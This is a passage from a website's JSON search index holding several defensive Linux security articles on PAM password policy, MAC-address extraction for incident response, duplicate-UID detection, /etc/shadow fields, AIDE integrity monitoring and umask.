Setting\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003eminlen=12\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eMinimum total characters required\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e12\u003c/code\u003e or higher\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003edcredit=-1\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eMinimum number of digits required\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e-1\u003c/code\u003e\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003eucredit=-1\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eMinimum uppercase characters required\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e-1\u003c/code\u003e\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003elcredit=-1\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eMinimum lowercase characters required\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e-1\u003c/code\u003e\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003eocredit=-1\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eMinimum special/punctuation symbols required\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e-1\u003c/code\u003e\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003emaxrepeat=2\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eMaximum consecutive repeated characters\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e2\u003c/code\u003e\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003ereject_username\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eForbids passwords containing the username\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eIncluded\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003eenforce_for_root\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eEnforces the policy on the \u003ccode\u003eroot\u003c/code\u003e account\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eCrucial\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003edictpath=\u0026lt;path\u0026gt;\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eCustom wordlist path for dictionary checks\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003ee.g., \u003ccode\u003e/usr/share/dict/words\u003c/code\u003e\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003chr\u003e\n\u003ch3 id=\"step-1-configuring-pam-password-policy\"\u003eStep 1: Configuring PAM Password Policy\u003c/h3\u003e\n\u003cp\u003eIn Red Hat, CentOS, and Debian/Ubuntu derivatives, password policies are typically applied in \u003ccode\u003e/etc/pam.d/system-auth\u003c/code\u003e (RHEL/CentOS) or \u003ccode\u003e/etc/pam.d/common-password\u003c/code\u003e (Debian/Ubuntu):\u003c/p\u003e","title":"Hardening Linux Passwords with pam_cracklib and pam_pwquality"},{"content":"Linux uses Pluggable Authentication Modules (PAM) to decouple system applications (such as sshd, login, sudo, and su) from underlying authentication mechanisms. Instead of hardcoding authentication logic into each daemon, applications dynamically link against PAM (libpam.so).\nTo verify whether a service supports PAM, check its dynamic libraries with ldd:\nldd $(which sshd) | grep pam # libpam.so.0 =\u0026gt; /lib64/libpam.so.0 (0x00007f81348fc000) PAM Configuration Structure PAM configuration files reside in /etc/pam.d/. Each service typically has its own configuration file (e.g., /etc/pam.d/sshd, /etc/pam.d/sudo).\nEach rule in a PAM configuration follows a 4-part syntax:\n\u0026lt;Management_Group\u0026gt; \u0026lt;Control_Flag\u0026gt; \u0026lt;Module_Path\u0026gt; [Arguments/Options] Example /etc/pam.d/sshd: auth required pam_sepermit.so auth include password-auth account required pam_nologin.so account include password-auth password include password-auth retry=5 session required pam_selinux.so close session required pam_loginuid.so session required pam_selinux.so open env_params session optional pam_keyinit.so force revoke session include password-auth 1. Management Groups (Interfaces) PAM divides authentication into four distinct tasks:\nGroup Purpose Description auth Authentication Validates user identity (prompts for passwords, OTP tokens, or biometric data). account Account Validation Verifies account status (checks expiration dates, allowed login hours, or access limits). password Credential Updates Handles password changes and enforces complexity rules. session Session Management Configures and tears down user environments (mounting directories, setting resource limits, auditing TTYs). 2. Control Flags Control flags determine how PAM handles success or failure as it evaluates a stack from top to bottom:\nrequired: Must succeed for the overall authentication request to pass. If it fails, PAM continues executing the remaining modules in the stack, but the final outcome is guaranteed failure (prevents leaking which specific check failed). requisite: Must succeed. If it fails, PAM immediately aborts execution of that stack and rejects the request. sufficient: If this module succeeds and no previous required module has failed, PAM immediately grants success without evaluating the rest of the stack. If it fails, the failure is ignored and execution continues. optional: Success or failure is generally ignored unless no other modules in the stack return a definitive status. include: Pulls in all lines from another configuration file matching the current management group. Important: PAM processes rules in strict top-to-bottom order. The sequence of rules is critical to security.\n3. Modules and Arguments PAM modules are shared libraries located in /lib/security/ or /lib64/security/:\nfile /lib64/security/pam_cracklib.so # /lib64/security/pam_cracklib.so: ELF 64-bit LSB shared object, x86-64, dynamically linked Each module accepts specific arguments. For example, pam_cracklib.so enforces password strength:\npassword required pam_cracklib.so retry=3 minlen=12 dcredit=-1 ucredit=-1 ocredit=-1 minlen=12: Minimum 12 characters. dcredit=-1: At least one digit required. ucredit=-1: At least one uppercase character required. ocredit=-1: At least one special/other symbol required. Changes to /etc/pam.d/ take effect immediately on new connection attempts without requiring daemon restarts.\n","permalink":"/pluggable-authentication-modules/","summary":"\u003cp\u003eLinux uses \u003cstrong\u003ePluggable Authentication Modules (PAM)\u003c/strong\u003e to decouple system applications (such as \u003ccode\u003esshd\u003c/code\u003e, \u003ccode\u003elogin\u003c/code\u003e, \u003ccode\u003esudo\u003c/code\u003e, and \u003ccode\u003esu\u003c/code\u003e) from underlying authentication mechanisms. Instead of hardcoding authentication logic into each daemon, applications dynamically link against PAM (\u003ccode\u003elibpam.so\u003c/code\u003e).\u003c/p\u003e\n\u003cp\u003eTo verify whether a service supports PAM, check its dynamic libraries with \u003ccode\u003eldd\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eldd \u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003ewhich sshd\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e | grep pam\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# libpam.so.0 =\u0026gt; /lib64/libpam.so.0 (0x00007f81348fc000)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch3 id=\"pam-configuration-structure\"\u003ePAM Configuration Structure\u003c/h3\u003e\n\u003cp\u003ePAM configuration files reside in \u003ccode\u003e/etc/pam.d/\u003c/code\u003e. Each service typically has its own configuration file (e.g., \u003ccode\u003e/etc/pam.d/sshd\u003c/code\u003e, \u003ccode\u003e/etc/pam.d/sudo\u003c/code\u003e).\u003c/p\u003e","title":"Understanding Linux Pluggable Authentication Modules (PAM)"},{"content":"During digital forensics and incident response investigations, analyzing DHCP leases, ARP caches, firewall events, and syslog entries often requires extracting physical network hardware addresses (MAC addresses).\nA standard IEEE 802 MAC-48 address consists of six groups of two hexadecimal digits separated by colons (00:1A:2B:3C:4D:5E) or hyphens (00-1A-2B-3C-4D-5E), or three groups of four hexadecimal digits separated by dots (001a.2b3c.4d5e).\n1. Extracting MAC Addresses with grep Standard Colon-Separated Format To extract colon-delimited MAC addresses using extended regular expressions (grep -E):\ngrep -E -o \u0026#39;([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}\u0026#39; /var/log/syslog Using POSIX Basic Regular Expression syntax:\ngrep -o \u0026#39;[0-9a-fA-F]\\{2\\}\\(:[0-9a-fA-F]\\{2\\}\\)\\{5\\}\u0026#39; /var/log/messages Flexible Pattern (Colons, Hyphens, or Cisco Dot Notation) In heterogenous enterprise networks, different vendors format MAC addresses differently:\nLinux / UNIX: 00:11:22:33:44:55 Windows: 00-11-22-33-44-55 Cisco IOS: 0011.2233.4455 To match both colon and hyphen separators with boundary checking:\ngrep -E -i -o \u0026#39;\\b([0-9a-f]{2}[:-]){5}([0-9a-f]{2})\\b\u0026#39; /var/log/messages 2. Python Extraction Script for Large Log Files When processing multi-gigabyte log archives, Python\u0026rsquo;s re module allows extracting unique hardware addresses alongside frequency counting:\n#!/usr/bin/env python3 import re import sys from collections import Counter MAC_REGEX = re.compile(r\u0026#39;\\b(?:[0-9A-Fa-f]{2}[:-]){5}(?:[0-9A-Fa-f]{2})\\b\u0026#39;) def parse_macs(filename): counter = Counter() with open(filename, \u0026#39;r\u0026#39;, errors=\u0026#39;ignore\u0026#39;) as f: for line in f: matches = MAC_REGEX.findall(line) for mac in matches: normalized = mac.upper().replace(\u0026#39;-\u0026#39;, \u0026#39;:\u0026#39;) counter[normalized] += 1 print(f\u0026#34;{\u0026#39;MAC Address\u0026#39;:\u0026lt;20} | {\u0026#39;Count\u0026#39;}\u0026#34;) print(\u0026#34;-\u0026#34; * 30) for mac, count in counter.most_common(): print(f\u0026#34;{mac:\u0026lt;20} | {count}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: if len(sys.argv) \u0026lt; 2: print(\u0026#34;Usage: python parse_macs.py \u0026lt;logfile\u0026gt;\u0026#34;) sys.exit(1) parse_macs(sys.argv[1]) ","permalink":"/regex-to-find-mac-address/","summary":"\u003cp\u003eDuring digital forensics and incident response investigations, analyzing DHCP leases, ARP caches, firewall events, and syslog entries often requires extracting physical network hardware addresses (MAC addresses).\u003c/p\u003e\n\u003cp\u003eA standard IEEE 802 MAC-48 address consists of six groups of two hexadecimal digits separated by colons (\u003ccode\u003e00:1A:2B:3C:4D:5E\u003c/code\u003e) or hyphens (\u003ccode\u003e00-1A-2B-3C-4D-5E\u003c/code\u003e), or three groups of four hexadecimal digits separated by dots (\u003ccode\u003e001a.2b3c.4d5e\u003c/code\u003e).\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-extracting-mac-addresses-with-grep\"\u003e1. Extracting MAC Addresses with \u003ccode\u003egrep\u003c/code\u003e\u003c/h2\u003e\n\u003ch3 id=\"standard-colon-separated-format\"\u003eStandard Colon-Separated Format\u003c/h3\u003e\n\u003cp\u003eTo extract colon-delimited MAC addresses using extended regular expressions (\u003ccode\u003egrep -E\u003c/code\u003e):\u003c/p\u003e","title":"Regular Expressions for Extracting MAC Addresses in Incident Response"},{"content":"In Linux, user identity and permissions are determined strictly by numerical User IDs (UIDs), not usernames. If multiple user accounts share the same UID, they possess identical access rights across the file system.\nAttackers who compromise a system sometimes create a secondary account (e.g., guest or support) with UID 0 to maintain stealthy root access without alerting administrators reviewing login usernames.\nFinding Duplicate UIDs To inspect all local and directory accounts (including LDAP/NIS/SSSD if configured), query getent passwd:\ngetent passwd | cut -d : -f 3 | sort -n | uniq -d Breaking Down the Command: getent passwd: Retrieves all user accounts across local /etc/passwd and networked identity services. cut -d : -f 3: Extracts the 3rd field, which represents the UID. sort -n: Numerically sorts the UIDs. uniq -d: Outputs only duplicate entries. If the command outputs 0, an unprivileged-looking username has been mapped directly to root permissions.\nFinding Which Accounts Share a Duplicate UID Once you identify a duplicate UID (for example, UID 1002 or 0), query the specific users assigned to it:\nawk -F: \u0026#39;$3 == 0 { print $1, $3 }\u0026#39; /etc/passwd ","permalink":"/find-duplicated-uid-in-the-linux-system/","summary":"\u003cp\u003eIn Linux, user identity and permissions are determined strictly by numerical User IDs (\u003cstrong\u003eUIDs\u003c/strong\u003e), not usernames. If multiple user accounts share the same UID, they possess identical access rights across the file system.\u003c/p\u003e\n\u003cp\u003eAttackers who compromise a system sometimes create a secondary account (e.g., \u003ccode\u003eguest\u003c/code\u003e or \u003ccode\u003esupport\u003c/code\u003e) with \u003ccode\u003eUID 0\u003c/code\u003e to maintain stealthy root access without alerting administrators reviewing login usernames.\u003c/p\u003e\n\u003ch3 id=\"finding-duplicate-uids\"\u003eFinding Duplicate UIDs\u003c/h3\u003e\n\u003cp\u003eTo inspect all local and directory accounts (including LDAP/NIS/SSSD if configured), query \u003ccode\u003egetent passwd\u003c/code\u003e:\u003c/p\u003e","title":"Detecting Duplicate User IDs (UIDs) in Linux"},{"content":"In Linux, user account definitions reside in /etc/passwd (world-readable), while encrypted password hashes and credential aging rules reside in /etc/shadow (restricted to root with 0640 or 0600 permissions).\nUnderstanding /etc/shadow field definitions is essential for system auditing, incident response, and credential analysis.\nAnatomy of an /etc/shadow Entry Each line consists of 9 colon-separated fields:\nn1x:$6$UoDmVdoW$tYQQm5uHgOpe...:16631:7:15:2:14:16819: Field # Attribute Name Value in Example Description 1 Username n1x Account login name matching /etc/passwd. 2 Encrypted Password $6$UoDmVdoW$... Cryptographic hash prefixed by algorithm identifier. 3 Last Changed Date 16631 Days since the Unix Epoch (Jan 1, 1970) when password was last updated. 4 Minimum Age 7 Days user must wait before they can change password again. 5 Maximum Age 15 Days before the password expires and must be changed. 6 Warning Period 2 Days prior to expiration that warning prompts begin displaying. 7 Inactivity Period 14 Days after expiration during which user can still change password; past this, account is disabled. 8 Expiration Date 16819 Absolute date (in days since epoch) when account is permanently disabled. 9 Reserved (empty) Flag reserved for future operating system use. Identifying Password Hash Algorithms The second field begins with $id$salt$hash. The ID reveals the cryptographic hashing algorithm used:\n$1$: Legacy MD5 $2a$ / $2y$: Blowfish (bcrypt) $5$: SHA-256 $6$: SHA-512 (standard on modern Linux distributions) $y$: Yescrypt (modern default on Debian 12+ and Fedora) ! or *: Account locked or password disabled (cannot log in via password). Calculating Human-Readable Dates from Epoch Days To convert the integer day counts (such as 16631 or 16819) into standard dates using Python:\nfrom datetime import datetime, timedelta epoch = datetime(1970, 1, 1) last_changed = epoch + timedelta(days=16631) print(last_changed.strftime(\u0026#34;%Y-%m-%d\u0026#34;)) # Output: 2015-07-15 Managing Shadow Policies with chage Rather than manually editing /etc/shadow, use the chage (change age) command:\n# Set aging policy: min 7 days, max 90 days, warn 7 days, inactive 14 days, expire 2026-12-31 sudo chage -m 7 -M 90 -W 7 -I 14 -E 2026-12-31 n1x # Display active account aging details sudo chage -l n1x System-Wide Default Settings (/etc/login.defs) To set default aging rules for all newly created accounts, configure /etc/login.defs:\nPASS_MAX_DAYS 90 PASS_MIN_DAYS 7 PASS_WARN_AGE 7 PASS_MIN_LEN 12 ","permalink":"/users-in-shadow-file-explanation/","summary":"\u003cp\u003eIn Linux, user account definitions reside in \u003ccode\u003e/etc/passwd\u003c/code\u003e (world-readable), while encrypted password hashes and credential aging rules reside in \u003ccode\u003e/etc/shadow\u003c/code\u003e (restricted to root with \u003ccode\u003e0640\u003c/code\u003e or \u003ccode\u003e0600\u003c/code\u003e permissions).\u003c/p\u003e\n\u003cp\u003eUnderstanding \u003ccode\u003e/etc/shadow\u003c/code\u003e field definitions is essential for system auditing, incident response, and credential analysis.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"anatomy-of-an-etcshadow-entry\"\u003eAnatomy of an \u003ccode\u003e/etc/shadow\u003c/code\u003e Entry\u003c/h3\u003e\n\u003cp\u003eEach line consists of \u003cstrong\u003e9 colon-separated fields\u003c/strong\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003en1x:$6$UoDmVdoW$tYQQm5uHgOpe...:16631:7:15:2:14:16819:\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth style=\"text-align: center\"\u003eField #\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eAttribute Name\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eValue in Example\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eDescription\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: center\"\u003e\u003cstrong\u003e1\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eUsername\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003en1x\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eAccount login name matching \u003ccode\u003e/etc/passwd\u003c/code\u003e.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: center\"\u003e\u003cstrong\u003e2\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eEncrypted Password\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e$6$UoDmVdoW$...\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eCryptographic hash prefixed by algorithm identifier.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: center\"\u003e\u003cstrong\u003e3\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eLast Changed Date\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e16631\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eDays since the Unix Epoch (Jan 1, 1970) when password was last updated.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: center\"\u003e\u003cstrong\u003e4\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eMinimum Age\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e7\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eDays user must wait before they can change password again.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: center\"\u003e\u003cstrong\u003e5\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eMaximum Age\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e15\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eDays before the password expires and must be changed.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: center\"\u003e\u003cstrong\u003e6\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eWarning Period\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e2\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eDays prior to expiration that warning prompts begin displaying.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: center\"\u003e\u003cstrong\u003e7\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eInactivity Period\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e14\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eDays after expiration during which user can still change password; past this, account is disabled.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: center\"\u003e\u003cstrong\u003e8\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eExpiration Date\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e16819\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eAbsolute date (in days since epoch) when account is permanently disabled.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: center\"\u003e\u003cstrong\u003e9\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eReserved\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cem\u003e(empty)\u003c/em\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eFlag reserved for future operating system use.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003chr\u003e\n\u003ch3 id=\"identifying-password-hash-algorithms\"\u003eIdentifying Password Hash Algorithms\u003c/h3\u003e\n\u003cp\u003eThe second field begins with \u003ccode\u003e$id$salt$hash\u003c/code\u003e. The ID reveals the cryptographic hashing algorithm used:\u003c/p\u003e","title":"Dissecting the Linux /etc/shadow File: Password Hashes and Aging Fields"},{"content":"When an adversary compromises a Linux server, they frequently alter system binaries (installing backdoored binaries like sshd or login), inject malicious cronjobs, modify web directories, or alter file permissions (e.g., granting SUID or world-writable access).\nAIDE (Advanced Intrusion Detection Environment) is a host-based File Integrity Monitoring (FIM) tool that builds a cryptographic baseline database of file attributes, hashes, permissions, and SELinux labels to detect file tampering.\nHow AIDE Operates AIDE scans the filesystem according to rules defined in /etc/aide.conf, calculates cryptographic checksums (SHA-256, SHA-512) and metadata attributes for each file, and stores them in a baseline database (/var/lib/aide/aide.db.gz).\nOn subsequent verification runs (aide --check), AIDE compares the live filesystem against the baseline database and generates a report detailing added, removed, or modified files.\nStep 1: Defining Custom Monitoring Rules In /etc/aide.conf, you define rule groups using attribute flags:\nFlag Monitored Attribute p File permissions i Inode number u / g User / Group ownership s File size m / c Modification time (mtime) / Inode change time (ctime) sha256 SHA-256 cryptographic hash acl Extended Access Control Lists selinux SELinux security context label Example Custom Rule: # Monitor web root for permission tampering, ownership changes, and hash modifications WEBMON = p+i+u+g+s+m+c+sha256+acl+selinux # Apply rule to directory tree /var/www/html/n1x WEBMON # Exclude noisy, dynamic cache directories !/var/www/html/n1x/cache Step 2: Initializing the Cryptographic Baseline Initialize the database:\nsudo aide --init AIDE outputs the initialized database to /var/lib/aide/aide.db.new.gz. Install it as the active baseline:\nsudo cp /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz Security Best Practice: In high-assurance environments, store the active baseline aide.db.gz on read-only media or an off-box logging server to prevent attackers who gain root from updating the baseline.\nStep 3: Running Integrity Audits To audit the filesystem against the baseline:\nsudo aide --check Sample Tampering Report: AIDE 0.15.1 found differences between database and filesystem!! Summary: Total number of files: 143950 Added files: 1 Removed files: 0 Changed files: 1 --------------------------------------------------- Changed files: --------------------------------------------------- Directory: /var/www/html/n1x Perm : drwxr-xr-x , drwxrwxrwx ACL : old = user::rwx,group::r-x,other::r-x new = user::rwx,group::rwx,other::rwx File: /var/log/lastlog SHA256 : zXYJguRcLmAJIGA66Wwx5FdKfHav3nfY , ZWr5tR5LHN1t5uEIGGmTz4ZSkvQcev6X The report immediately flags that /var/www/html/n1x was changed to world-writable (777) and /var/log/lastlog had its contents modified.\n","permalink":"/aide-intrusion-detection-environment/","summary":"\u003cp\u003eWhen an adversary compromises a Linux server, they frequently alter system binaries (installing backdoored binaries like \u003ccode\u003esshd\u003c/code\u003e or \u003ccode\u003elogin\u003c/code\u003e), inject malicious cronjobs, modify web directories, or alter file permissions (e.g., granting SUID or world-writable access).\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAIDE (Advanced Intrusion Detection Environment)\u003c/strong\u003e is a host-based File Integrity Monitoring (FIM) tool that builds a cryptographic baseline database of file attributes, hashes, permissions, and SELinux labels to detect file tampering.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"how-aide-operates\"\u003eHow AIDE Operates\u003c/h3\u003e\n\u003cp\u003eAIDE scans the filesystem according to rules defined in \u003ccode\u003e/etc/aide.conf\u003c/code\u003e, calculates cryptographic checksums (SHA-256, SHA-512) and metadata attributes for each file, and stores them in a baseline database (\u003ccode\u003e/var/lib/aide/aide.db.gz\u003c/code\u003e).\u003c/p\u003e","title":"Host-Based File Integrity Monitoring with AIDE"},{"content":"In Linux, newly created files and directories do not specify arbitrary permissions. Instead, the process creating the object requests a base permission set, which the kernel filters through the process\u0026rsquo;s umask (User Mask).\nUnderstanding how umask operates is essential for preventing accidental disclosure of confidential files (e.g., world-readable configuration files or SSH keys).\nThe Fundamental Rule: Masking, Not Subtraction By default, the Linux operating system assigns base permissions:\nDefault Base for Files: 0666 (rw-rw-rw-) — Files are never created with execute (x) permissions by default for safety. Default Base for Directories: 0777 (rwxrwxrwx) — Directories require execute permissions to allow traversal (cd). The umask acts as a bitmask filter: it specifies which permission bits should be disabled (masked out) when a new file or directory is created.\n$$\\text{Effective Permission} = \\text{Base Permission} \\ \u0026amp; \\ (\\sim\\text{umask})$$\nCommon umask Values and Resulting Permissions umask File Creation Permission Directory Creation Permission Security Profile 0022 644 (rw-r--r--) 755 (rwxr-xr-x) Standard default on Red Hat / CentOS for shared systems. Other users can read. 0002 664 (rw-rw-r--) 775 (rwxrwxr-x) Common for User Private Groups (UPG) where group members share write access. 0027 640 (rw-r-----) 750 (rwxr-x---) Hardened Server Default: Group can read; others have zero access. 0077 600 (rw-------) 700 (rwx------) Maximum Privacy: Only the creating user can read or write. Configuration Locations The system-wide umask is configured across global shell profiles:\n/etc/profile and /etc/profile.d/*.sh (login shells) /etc/bashrc or /etc/bash.bashrc (non-login interactive shells) /etc/login.defs (controls default umask applied during account creation via UMASK) Standard Conditional Logic in /etc/bashrc: if [ $UID -gt 199 ] \u0026amp;\u0026amp; [ \u0026#34;`id -gn`\u0026#34; = \u0026#34;`id -un`\u0026#34; ]; then # User has their own private primary group umask 002 else # Root or system account umask 022 fi Modifying and Auditing umask View active umask: umask # 0022 # Display symbolic representation: umask -S # u=rwx,g=rx,o=rx Change umask dynamically for the current session: umask 0027 touch secure_file.txt ls -l secure_file.txt # -rw-r----- 1 operator operator 0 Jul 10 06:04 secure_file.txt All subsequent files created in this shell session will strictly prohibit access by unprivileged other users.\n","permalink":"/umask-permissions-explanation/","summary":"\u003cp\u003eIn Linux, newly created files and directories do not specify arbitrary permissions. Instead, the process creating the object requests a base permission set, which the kernel filters through the process\u0026rsquo;s 